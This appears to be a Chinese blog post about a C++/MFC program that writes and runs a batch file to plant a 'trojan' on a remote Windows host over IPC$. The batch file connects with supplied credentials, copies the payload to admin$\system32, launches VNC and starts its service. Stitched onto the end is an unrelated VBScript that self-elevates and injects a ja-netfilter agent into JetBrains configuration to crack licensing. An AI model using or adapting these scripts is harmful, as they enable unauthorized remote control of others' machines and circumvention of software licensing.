由file.Close()引发ShellExecute 无法执行

本文介绍了一个使用IPC自动种植木马的小程序实现过程。通过编写bat文件并利用ShellExecute函数来执行,最终实现了远程主机上的木马部署及启动。

今天写了一个用IPC自动种植木马的程序

思路是将要执行的命令写入一个 bat 文件

然后用ShellExecute 执行bat文件

写bat 的文件代码如下:

void CIps4Dlg::OnOK()
{

//构建net use //ip/ipc$ "" /user:"administrator"
CString ip;
CString pass;
CString user;
CString muma;
GetDlgItemText(IDC_EDMUMA,muma);
GetDlgItemText(IDC_EDIP,ip);
GetDlgItemText(IDC_EDUSER,user);
GetDlgItemText(IDC_EDPASS,pass);
CString se1="net use ////";
se1+=ip;
se1+="//ipc$";
se1+=" /"";
se1+=pass;
se1+="/"";
se1+=" /user:/"";
se1+=user;
se1+="/"";

//构建COPY 文件命令
CString se2="copy ";
se2+=muma;
se2+=" ////";
se2=se2+ip;
se2+="//admin$//system32";

//构建运行木马的命令
CString se3="ps ////";
se3=se3+ip;
se3+=" c://winnt//system32//vnc.exe -d";
//查看用户
CString se4="ps ////";
se4=se4+ip;
se4+=" net user";
//用SC开始VNC的服务
CString se5="sc ////";
se5=se5+ip;
se5+=" start winvnc";
//删除IPC连接
CString se6="net use////";
se6=se6+ip;
se6+=" /del";

/////////////////////////////////////////
//将运行命令写入BAT文件

CFile file("bat.bat",CFile::modeCreate|CFile::modeReadWrite);
file.Write(se1,60);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se2,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se3,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se4,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se5,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se6,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write("pause",7);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
}

写入成功后执行:

////////////////////////////////////////
//运行BAT文件
if(ShellExecute (NULL,"open","bat.bat",NULL,NULL,SW_SHOW)<(HANDLE)32)

MessageBox("Can't ShellExecute");

这是出现错误

开始以为是文件的打开放是有误

查了一下msdn

加了一句

CFile::shareExclusive

以读写共享的方式打开文件

可惜失败了!

自己新建一个 bat文件用ShellExecute试一下

成功!这说明用ShellExecute可以调用执行批处理文件

而问题出在 file.write上

仔细观察代码 发现漏了一句!!

file.close();

加上试试成功调用!

写这么一个小程序就发现之么多问题

以后还得多写~~~~~~~~~~~

If Not WScript.Arguments.Named.Exists("elevate") Then CreateObject("Shell.Application").ShellExecute WScript.FullName, """" & WScript.ScriptFullName & """ /elevate", "", "runas", 10 WScript.Quit End If Set oShell = CreateObject("WScript.Shell") Set oEnvSystem = oShell.Environment("SYSTEM") Set oFS = CreateObject("Scripting.FileSystemObject") Dim sBasePath, sJarFile sBasePath = oFS.GetParentFolderName(oFS.GetParentFolderName(WScript.ScriptFullName)) sJarFile = sBasePath & "\ja-netfilter.jar" If Not oFS.FileExists(sJarFile) Then MsgBox "ja-netfilter.jar not found", vbOKOnly Or vbCritical WScript.Quit -1 End If MsgBox "!!!!!!!!!!!请先关闭软件!!!!!!!!!!!" & vbCrLf & vbCrLf & "!!!!!!!!!!!请先关闭软件!!!!!!!!!!!" & vbCrLf & vbCrLf & "!!!!!!!!!!!请先关闭软件!!!!!!!!!!!" & vbCrLf & vbCrLf & "个别电脑执行脚本可能需要十多分钟." & vbCrLf & vbCrLf & "点击确定按钮后,一直等直到'完成'提示的弹出.即可进行下一步操作." & vbCrLf & vbCrLf & "仅用于研究学习 请在使用后24小时内删除." Dim sEnvKey, sEnvVal, aJBProducts aJBProducts = Array("idea", "clion", "phpstorm", "goland", "pycharm", "webstorm", "webide", "rider", "datagrip", "rubymine", "appcode", "dataspell", "gateway", "jetbrains_client", "jetbrainsclient", "studio", "devecostudio") Set re = New RegExp re.Global = True re.IgnoreCase = True re.Pattern = "^\-javaagent:.*[\/\\]ja\-netfilter\.jar.*" Sub RemoveEnv(env) On Error Resume Next For Each sPrd in aJBProducts sEnvKey = UCase(sPrd) & "_VM_OPTIONS" sEnvVal = oShell.ExpandEnvironmentStrings("%" & sEnvKey & "%") If sEnvVal <> ("%" & sEnvKey & "%") Then env.Remove(sEnvKey) End If Next End Sub RemoveEnv oShell.Environment("USER") Dim sVmOptionsFile For Each sPrd in aJBProducts sEnvKey = UCase(sPrd) & "_VM_OPTIONS" sVmOptionsFile = sBasePath & "\vmoptions\" & sPrd & ".vmoptions" If oFS.FileExists(sVmOptionsFile) Then ProcessVmOptions sVmOptionsFile oEnvSystem(sEnvKey) = sVmOptionsFile End If Next Sub ProcessVmOptions(ByVal file) Dim sLine, sNewContent, bMatch Set oFile = oFS.OpenTextFile(file, 1, 0) sNewContent = "" Do Until oFile.AtEndOfStream sLine = oFile.ReadLine bMatch = re.Test(sLine) If Not bMatch Then sNewContent = sNewContent & sLine & vbLf End If Loop oFile.Close sNewContent = sNewContent & "-javaagent:" & sJarFile & "=jetbrains" Set oFile = oFS.OpenTextFile(file, 2, 0) oFile.Write sNewContent oFile.Close End Sub MsgBox "完成." 分析以上脚本功能及安全性
最新发布
09-14
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值